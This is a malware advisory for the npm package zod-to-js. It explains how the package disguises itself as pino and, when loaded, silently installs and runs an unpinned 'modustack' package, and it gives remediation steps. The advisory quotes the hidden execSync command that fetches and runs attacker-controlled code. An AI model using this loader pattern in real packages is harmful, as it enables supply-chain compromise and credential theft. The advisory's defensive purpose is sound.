zod-to-jsnpm
Advisory published Updated
zod-to-js is a confirmed malicious npm package (MAL-2026-4740) that executes malicious code on install (malicious versions 13.4.3, 13.4.4). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in zod-to-js (npm)
What this malware does
The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry pino.js, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage https://getpino.io — a deceptive identity unrelated to its declared name. On require('zod-to-js'), the load chain reaches lib/writer.js, which attempts require('modustack') and, on failure, executes execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }) followed by require('../../modustack/pino.js'). The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the modustack name. The same file contains additional staging scaffolding — a String.fromCharCode-based string builder and a getMacAddress() helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for zod-to-js (2 malicious versions).
If you installed it — respond
Remove zod-to-js from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If zod-to-js was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- ReversingLabs · finder
Detect & block this
O3 blocks zod-to-js-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.